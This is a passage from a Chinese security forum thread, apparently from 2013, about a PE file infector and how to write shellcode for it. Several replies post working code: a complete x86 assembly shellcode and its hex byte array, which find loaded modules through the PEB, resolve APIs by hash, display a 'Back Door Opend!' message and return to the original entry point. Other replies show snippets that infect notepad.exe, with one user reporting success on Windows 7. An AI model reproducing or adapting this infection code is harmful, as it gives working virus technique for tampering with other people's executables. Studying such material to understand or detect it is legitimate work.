首页
社区
课程
招聘
[原创]PE感染&ShellCode编写技术补充
发表于: 2013-6-4 22:45 23747

[原创]PE感染&ShellCode编写技术补充

2013-6-4 22:45
23747
收藏
免费 5
支持
分享
最新回复 (58)
雪    币: 496
活跃值: (286)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
26
确实是这样的,多谢指正。。这么细致的问题都被你发现了。

偷懒使用了VisualassistX的自动补全,没注意他加了分号。。

不过 使用if的话不用{}来包括这也不是个好的风格吧。。。
2013-6-5 22:07
0
雪    币: 959
活跃值: (66)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
27
主要是看了<linux设备驱动开发详解>中相关内容,才注意到do {} while(0).
使用if加不加{} 要具体看编码风格了
2013-6-5 22:39
0
雪    币: 81
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
28
mark 下  收藏
2013-6-6 00:47
0
雪    币: 110
活跃值: (522)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
29
强大。看看。。
2013-6-6 11:41
0
雪    币: 267
活跃值: (438)
能力值: ( LV9,RANK:190 )
在线值:
发帖
回帖
粉丝
30
不敢苟同啊!“所以写Shell Code,还是选择纯汇编环境吧” 用c / c++ 更方便写Shell Code ,而且整个Shell Code 之中只需要两三个汇编指令便可让整个Shell Code 稳定的运行如风!
2013-6-7 13:38
0
雪    币: 27
活跃值: (90)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
31
unsigned char hexData[348];

int _tmain(int argc, _TCHAR* argv[])
{
        memset(hexData, 0x90, 348);
        CPE32Infector * pInfector = CPE32Infector::GetInstance();
        pInfector->Infect(_T("notepad.exe"), hexData, 348);
        return 0;
}

用这个代码,选windows的记事本和计算器做了测试
运行感染后的文件,结果提示“没有找到1.dll,因此这个应用程序未能启动”
2013-6-7 13:38
0
雪    币: 496
活跃值: (286)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
32
[QUOTE=tihty;1185850]unsigned char hexData[348];

int _tmain(int argc, _TCHAR* argv[])
{
        memset(hexData, 0x90, 348);
        CPE32Infector * pInfector = CPE32Infector::GetInstan...[/QUOTE]

这个问题是已知的。不要小瞧了Windows 的notepad.exe

这个exe是编译后做了PADDING变异处理的,他在SectionHeader表的后面紧跟着有一段导入表的数据,我也没有仔细分析这个EXE是怎么处理的,但是可以肯定他这么做的目的就是防止感染型病毒。
2013-6-7 13:51
0
雪    币: 496
活跃值: (286)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
33
你提个功能,开个新帖,咱各自用各自的方法写出实现这个功能的shell Code 然后对比一下各自的优缺点。
2013-6-7 13:57
0
雪    币: 27
活跃值: (90)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
34
刚刚测试了感染其他文件,感染后的文件运行时发生内存错误..
2013-6-7 14:12
0
雪    币: 496
活跃值: (286)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
35
Shell Code的写法
最后一条指令一定要为jmp指令。我默认最后一条指令为jmp指令
然后计算oep到该指令的便宜 然后修改操作数  完成这条jmp指令

如果你照这样写还有问题的话  可以尝试一下调试你的shellcode

晚上回去贴个我的shell code出来。
2013-6-7 15:00
0
雪    币: 27
活跃值: (90)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
36
原来shellcode有格式要求,我测试的时候使用了一段NOP当做shellcode,难怪会出问题
期待tishion兄的shellcode范例 : )
2013-6-7 15:28
0
雪    币: 267
活跃值: (438)
能力值: ( LV9,RANK:190 )
在线值:
发帖
回帖
粉丝
37
//计算出 编译地址 到 运行地址 的差值
long GetIfAddresSubRunAddress()
{
     long Outd;
     Outd = 0;
     _asm
     {
           push  eax;
           push  ebx;
           call     RET_TEXT;

CODE_TEXT:
           mov   eax,offset CODE_TEXT;
           sub    eax,ebx; //编译地址 - 运行地址
           mov   Outd,eax; //这一句编译后,是一句类似 mov [ebp-xx],eax;的汇编指令
           jmp    END_TEXT;

RET_TEXT:
           pop    ebx;
           push  ebx;
           ret;

END_TEXT:
           pop    ebx;
           pop    eax;
     }
      return Outd;
}

GetIfAddresSubRunAddress 是我临时写的,实际我只使用5个以内汇编指令就可以完成该功能。

我的shell Code  几乎全部用C语言写的,除了异常处理函数以外,只用几个汇编指令计算出 编译地址 到 运行地址 的差值 ,其他的就全部是C写的。只是有一点:shell Code所用的 数据必须和代码编译进同一个PE节,这是关键,要访问数据 只需要 重新计算一下  编译地址 到 运行地址。 原理就是 :(编译地址a - 运行地址a) == (编译地址b - 运行地址b) == (编译地址n - 运行地址n) == .... == 编译地址 到 运行地址 的差值。只要计算一次这个差值就可以计算出使用的所有数据和 代码 运行地址。 至于开个新帖 ,我文采差,整不出多少解释语言,就免了,有时间整理出来再开。如果你理解我所说的意思,你就开个用c语言写shell Code 贴,我想对于你来说应该不难。 只要这个原理理解了,那用C语言写的shell Code 应该会到处有,而且会各式各样。
2013-6-7 17:05
0
雪    币: 9
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
38
那句push szStr似乎是不需要的。因为call已经将字符串地址压入栈中。前面的例子用的是jmp run_code才需要push.

call run_code
szStr:
    db 'Shell Code',0
run_code:
    push szStr
    call printf
2013-6-7 18:00
0
雪    币: 27
活跃值: (90)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
39
123456
2013-6-7 20:42
0
雪    币: 27
活跃值: (90)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
40
linziqingl兄你这是光说不练,别这样啊,光说不练有啥意思,你既然主张“用c / c++ 更方便写Shell Code”,那么就拿个简单的例子给我们看看嘛

你们都不肯出题,我来给你们出一个最简单的,简单到能够说明问题就行:
用C语言写一个shellcode,实现通过MessageBox弹出对话框,显示“hello,world!”
2013-6-7 20:43
0
雪    币: 496
活跃值: (286)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
41
这个。。。我看到你写的代码,就觉得我跟你也说不清。。

不妨从整体来考虑一下shell code的处理方法。

如果你有了一定的汇编基础,或者你对程序的本质有了更透彻的理解,在回来看shell code,你会有不一样的想法的。

就当个人偏好吧,关于用什么写好一点这个没法争论下去的。
2013-6-7 20:49
0
雪    币: 496
活跃值: (286)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
42
手误,没有把这行代码删掉。



用帖子里的代码进行感染的时候shell code的格式:

LoadLibraryExA_Digest	equ	0xc0d83287
LoadLibraryA_Digest		equ	0x0C917432
MessageBoxA_Digest		equ	0x1E380A6A
FreeLibrary_Digest		equ	0x30BA7C8C
use32
shellcode_start:
			push ebp		;// 保存栈帧
			mov ebp, esp

			;// 获取USER32.DLL的基址
			call @f
			du "USER32.DLL",0
		@@:
			call get_module_base
			test eax, eax
			jz ._shellcode_return
			push eax				;// [ebp-4]

			;// 获取MessageBoxA的地址
			push MessageBoxA_Digest
			push eax
			call get_proc_address_by_digest
			test eax, eax
			jz ._shellcode_return

			;// Shell Code. Shion  [Shel    l_Co  de._  Shio   n000
			call @f
			db "Back Door Opend!", 0
		@@:
			pop edi
			call @f
			db 'HA...', 0
		@@:
			pop esi

			push 00000040h
			push esi
			push edi
			push 0
			call eax

._shellcode_return:
			leave
			jmp jmp_to_oep
			
;/************************************************************************/
;/*  some useful procs for shell code programming.
;/*  tishion
;/************************************************************************/

use32
get_peb:
			mov eax, 30h
			mov eax, [fs:eax]			;// eax = ppeb
			ret

;/************************************************************************/
;/*  Get base address of  module
;*  tishion
;*  2013-05-26 13:45:20
;*  IN:
;*		ebp+8 = moudule name null-terminate string [WCHAR]
;*  
;*  OUT: 
;*		eax = ntdll.base
;*		#define _Wcsnicmp_Digest		0x548b2e5f
;/************************************************************************/
use32
get_module_base:
			push ebp
			mov ebp, esp

			call get_ntdll_base
			jz ._find_modulebase_done
	
			push 548b2e5fh				;// hash of _wcsnicmp
			push eax
			call get_proc_address_by_digest
			test eax, eax				;// _wcsnicmp
			jz ._find_modulebase_done

			push eax					;// [ebp-04h]_wcsnicmp
			
			call get_peb
			test eax, eax
			jz ._find_modulebase_done

			mov eax, [eax+0ch]			;// eax = pLdr			pLdr:[PEB_LDR_DATA]	
			mov esi, [eax+1ch]
			jmp ._compare_moudule_name

	._find_modulebase_loop:
			mov esi, [esi]				;// esi = pLdr->InInitializationOrderModuleList
	._compare_moudule_name:
			test esi, esi
			jz ._find_modulebase_done
			
			xor edi, edi
			mov di, word [esi+1ch]		;// length
			push edi
			push dword [esi+20h]		;// esi = pLdrDataTableEntry.DllBaseName.Buffer [WCHAR]
			push dword [ebp+08h]
			mov edi, [ebp-04h]
			call edi
			test eax, eax
			jnz ._find_modulebase_loop
			
			mov eax, [esi+08h]			;// eax = pLdrDataTableEntry.DllBase
	._find_modulebase_done:
			leave
			ret 4

;/************************************************************************/
;/*  Get base address of ntdll.dll module
;*  tishion
;*  2013-05-26 13:45:20
;*  
;*  OUT: 
;*		eax = ntdll.base
;/************************************************************************/
use32
get_ntdll_base:
			call get_peb
			test eax, eax
			jz ._find_ntdllbase_done

			mov eax, [eax+0ch]		;// eax = pLdr			pLdr:[PEB_LDR_DATA]	
			mov eax, [eax+1ch]		;// eax = pLdr->InInitializationOrderModuleList
			mov eax, [eax+08h]		;// eax = pLdrDataTableEntry.DllBase
	._find_ntdllbase_done:
			ret
			
;/************************************************************************/
;/*  Get function name digest
;*  tishion
;*  2013-05-26 13:45:20
;*  
;*  IN: 
;*		esi = function name 
;*  OUT: 
;*		edx = digest
;/************************************************************************/
use32
get_ansi_string_digest:			
			push eax
			xor edx, edx
		._next_char:
			xor eax, eax
			lodsb
			test eax, eax
			jz ._done

			ror edx, 7
			add edx, eax
			jmp ._next_char
		._done:
			pop eax
			ret
;/************************************************************************/
;/*  Get function address by searching export table
;*  tishion
;*  2013-05-26 13:50:13
;*  
;*  IN: 
;*		[ebp+8]		= module base 
;*		[ebp+0ch]	= function name digest
;*  OUT: 
;*		eax			function address (null if failed)
;/************************************************************************/
use32
get_proc_address_by_digest:
			push ebp
			mov ebp, esp

			mov eax, [ebp+8]
			add eax, [eax+3ch]				;// eax = ImageNtHeader			IMAGE_NT_HEADERS  
			push eax				;// [ebp-04h]

			;//add eax, 18h			;// eax = ImageOptionalHeader	IMAGE_OPTIONAL_HEADER
			;//add eax, 60h			;// eax = ImageExportDirectoryEntry	IMAGE_DIRECTORY_ENTRY_EXPORT
			;// 以上两行只是为了让程序流程清晰,为了减小代码长度,合并两条指令为一条,如下:
			add eax, 78h

			mov eax, [eax]			;// eax = RVA IMAGE_EXPORT_DIRECTORY
			add eax, [ebp+08h]		;// eax = ImageExportDirectory IMAGE_EXPORT_DIRECTORY
			mov ecx, eax

			mov eax, [ecx+20h]
			add eax, [ebp+08h]		;// eax = AddressOfNames
			push eax				;// [ebp-08h]	导出名称地址表

			mov eax, [ecx+24h]
			add eax, [ebp+08h]		;// eax = AddressOfNameOrdinals
			push eax				;// [ebp-0ch]	导出序号表

			mov eax, [ecx+1ch]
			add eax, [ebp+08h]		;// eax = AddressOfFunctions
			push eax				;// [ebp-10h]	导出RAV地址表

			push dword [ecx+10h]	;// [ebp-14h]ordinals base					
			push dword [ecx+14h]	;// [ebp-18h]NumberOfFunctions		
			push dword [ecx+18h]	;// [ebp-1ch]NumberOfNames

			mov ecx, [ebp-1ch]
			mov ebx, ecx
			mov eax, [ebp-08h]

	._find_func:
			mov edi, ebx
			sub edi, ecx
			mov esi, [eax+edi*4]
			test esi, esi			;// esi是否NULL
			loope ._find_func
			inc ecx
			add esi, [ebp+08h]
			call get_ansi_string_digest
			cmp edx, [ebp+0ch]
			loopne ._find_func		;// ecx 为目标函数在函数名数组中的index

			xor edx, edx
			mov eax, [ebp-0ch]
			mov dx, [eax+edi*2]	
			
			cmp edx, [ebp-18h]
			jae ._return_null

			mov eax, [ebp-10h]		;// eax = AddressOfFunctions
			mov eax, [eax+edx*4]	;// edi = RVA地址数组的地址  edi+4*序号 即为 某一函数的RVA地址
			add eax, [ebp+08h]
			jmp ._function_found_done

	._return_null:
			xor eax, eax
	._function_found_done:
			leave
			ret 8

use32
jmp_to_oep:
			jmp shellcode_start


对应的二进制值

unsigned char hexData[348] = {
	0x55, 0x89, 0xE5, 0xE8, 0x16, 0x00, 0x00, 0x00,
	0x55, 0x00, 0x53, 0x00, 0x45, 0x00, 0x52, 0x00,
	0x33, 0x00, 0x32, 0x00, 0x2E, 0x00, 0x44, 0x00,
	0x4C, 0x00, 0x4C, 0x00, 0x00, 0x00, 0xE8, 0x4E,
	0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x3B, 0x50,
	0x68, 0x6A, 0x0A, 0x38, 0x1E, 0x50, 0xE8, 0xB2,
	0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x2B, 0xE8,
	0x11, 0x00, 0x00, 0x00, 0x42, 0x61, 0x63, 0x6B,
	0x20, 0x44, 0x6F, 0x6F, 0x72, 0x20, 0x4F, 0x70,
	0x65, 0x6E, 0x64, 0x21, 0x00, 0x5F, 0xE8, 0x06,
	0x00, 0x00, 0x00, 0x48, 0x41, 0x2E, 0x2E, 0x2E,
	0x00, 0x5E, 0x6A, 0x40, 0x56, 0x57, 0x6A, 0x00,
	0xFF, 0xD0, 0xC9, 0xE9, 0xEF, 0x00, 0x00, 0x00,
	0xB8, 0x30, 0x00, 0x00, 0x00, 0x64, 0x8B, 0x00,
	0xC3, 0x55, 0x89, 0xE5, 0xE8, 0x46, 0x00, 0x00,
	0x00, 0x74, 0x40, 0x68, 0x5F, 0x2E, 0x8B, 0x54,
	0x50, 0xE8, 0x5F, 0x00, 0x00, 0x00, 0x85, 0xC0,
	0x74, 0x31, 0x50, 0xE8, 0xD8, 0xFF, 0xFF, 0xFF,
	0x85, 0xC0, 0x74, 0x27, 0x8B, 0x40, 0x0C, 0x8B,
	0x70, 0x1C, 0xEB, 0x02, 0x8B, 0x36, 0x85, 0xF6,
	0x74, 0x19, 0x31, 0xFF, 0x66, 0x8B, 0x7E, 0x1C,
	0x57, 0xFF, 0x76, 0x20, 0xFF, 0x75, 0x08, 0x8B,
	0x7D, 0xFC, 0xFF, 0xD7, 0x85, 0xC0, 0x75, 0xE4,
	0x8B, 0x46, 0x08, 0xC9, 0xC2, 0x04, 0x00, 0xE8,
	0xA4, 0xFF, 0xFF, 0xFF, 0x85, 0xC0, 0x74, 0x09,
	0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x1C, 0x8B, 0x40,
	0x08, 0xC3, 0x50, 0x31, 0xD2, 0x31, 0xC0, 0xAC,
	0x85, 0xC0, 0x74, 0x07, 0xC1, 0xCA, 0x07, 0x01,
	0xC2, 0xEB, 0xF2, 0x58, 0xC3, 0x55, 0x89, 0xE5,
	0x8B, 0x45, 0x08, 0x03, 0x40, 0x3C, 0x50, 0x83,
	0xC0, 0x78, 0x8B, 0x00, 0x03, 0x45, 0x08, 0x89,
	0xC1, 0x8B, 0x41, 0x20, 0x03, 0x45, 0x08, 0x50,
	0x8B, 0x41, 0x24, 0x03, 0x45, 0x08, 0x50, 0x8B,
	0x41, 0x1C, 0x03, 0x45, 0x08, 0x50, 0xFF, 0x71,
	0x10, 0xFF, 0x71, 0x14, 0xFF, 0x71, 0x18, 0x8B,
	0x4D, 0xE4, 0x89, 0xCB, 0x8B, 0x45, 0xF8, 0x89,
	0xDF, 0x29, 0xCF, 0x8B, 0x34, 0xB8, 0x85, 0xF6,
	0xE1, 0xF5, 0x41, 0x03, 0x75, 0x08, 0xE8, 0x9F,
	0xFF, 0xFF, 0xFF, 0x3B, 0x55, 0x0C, 0xE0, 0xE7,
	0x31, 0xD2, 0x8B, 0x45, 0xF4, 0x66, 0x8B, 0x14,
	0x78, 0x3B, 0x55, 0xE8, 0x73, 0x0B, 0x8B, 0x45,
	0xF0, 0x8B, 0x04, 0x90, 0x03, 0x45, 0x08, 0xEB,
	0x02, 0x31, 0xC0, 0xC9, 0xC2, 0x08, 0x00, 0xE9,
	0xA4, 0xFE, 0xFF, 0xFF 
};


这段代码是假设user32.dll已经被程序载入了的,所以只能用于感染有GUI的exe.
2013-6-7 20:58
0
雪    币: 27
活跃值: (90)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
43
tishion兄,给出一个你的类能用的shellcode格式范例呀.感谢
2013-6-7 20:59
0
雪    币: 496
活跃值: (286)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
44
上面不就是么。。
2013-6-7 21:10
0
雪    币: 27
活跃值: (90)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
45
领悟了tishion兄的意思了,我把代码改了改,变成这样:

int _tmain(int argc, _TCHAR* argv[])
{
        memset(hexData, 0x90, 348);
        hexData[343] = 0xe9;

        CPE32Infector * pInfector = CPE32Infector::GetInstance();
        pInfector->Infect(_T("notepad.exe"), hexData, 348);

        return 0;
}

win7下,用记事本程序测试,成功。。
2013-6-7 22:02
0
雪    币: 496
活跃值: (286)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
46
[QUOTE=tihty;1186087]领悟了tishion兄的意思了,我把代码改了改,变成这样:

int _tmain(int argc, _TCHAR* argv[])
{
        memset(hexData, 0x90, 348);
        hexData[343] = 0xe9;

        CPE32Infector * pInf...[/QUOTE]


就是这个意思。。。感染之后要不破坏程序的原始功能,所以还是要跳回OEP的。
2013-6-7 22:20
0
雪    币: 267
活跃值: (438)
能力值: ( LV9,RANK:190 )
在线值:
发帖
回帖
粉丝
47
我找个时间把很久以前就写过的EXE壳程序整理一下,就这几天贴到看雪上。标题就为: 用C语言为主写的EXE壳程序。不过通过MessageBox弹出对话框太简单,我以前的老古董是 弹出了一个 系统登录对话框,我再加一个MessageBox弹出对话框吧。
2013-6-8 17:10
0
雪    币: 267
活跃值: (438)
能力值: ( LV9,RANK:190 )
在线值:
发帖
回帖
粉丝
48
只要会C语言和PE文件格式,并理解了那个函数功能,你也会觉得用c语言更适合写壳程序的。我再看雪上还没有看到用C语言写壳程序的帖子,我这几天就贴个用C语言写壳程序的帖子。
2013-6-8 17:19
0
雪    币: 496
活跃值: (286)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
49
汗了。。。期待你的文章。。
BTW。。我C语言很菜的。
2013-6-8 18:31
0
雪    币: 27
活跃值: (90)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
50
好啊,linziqingl兄期待你的帖子,希望能够向你学习。
2013-6-8 22:25
0
游客
登录 | 注册 方可回帖
返回
//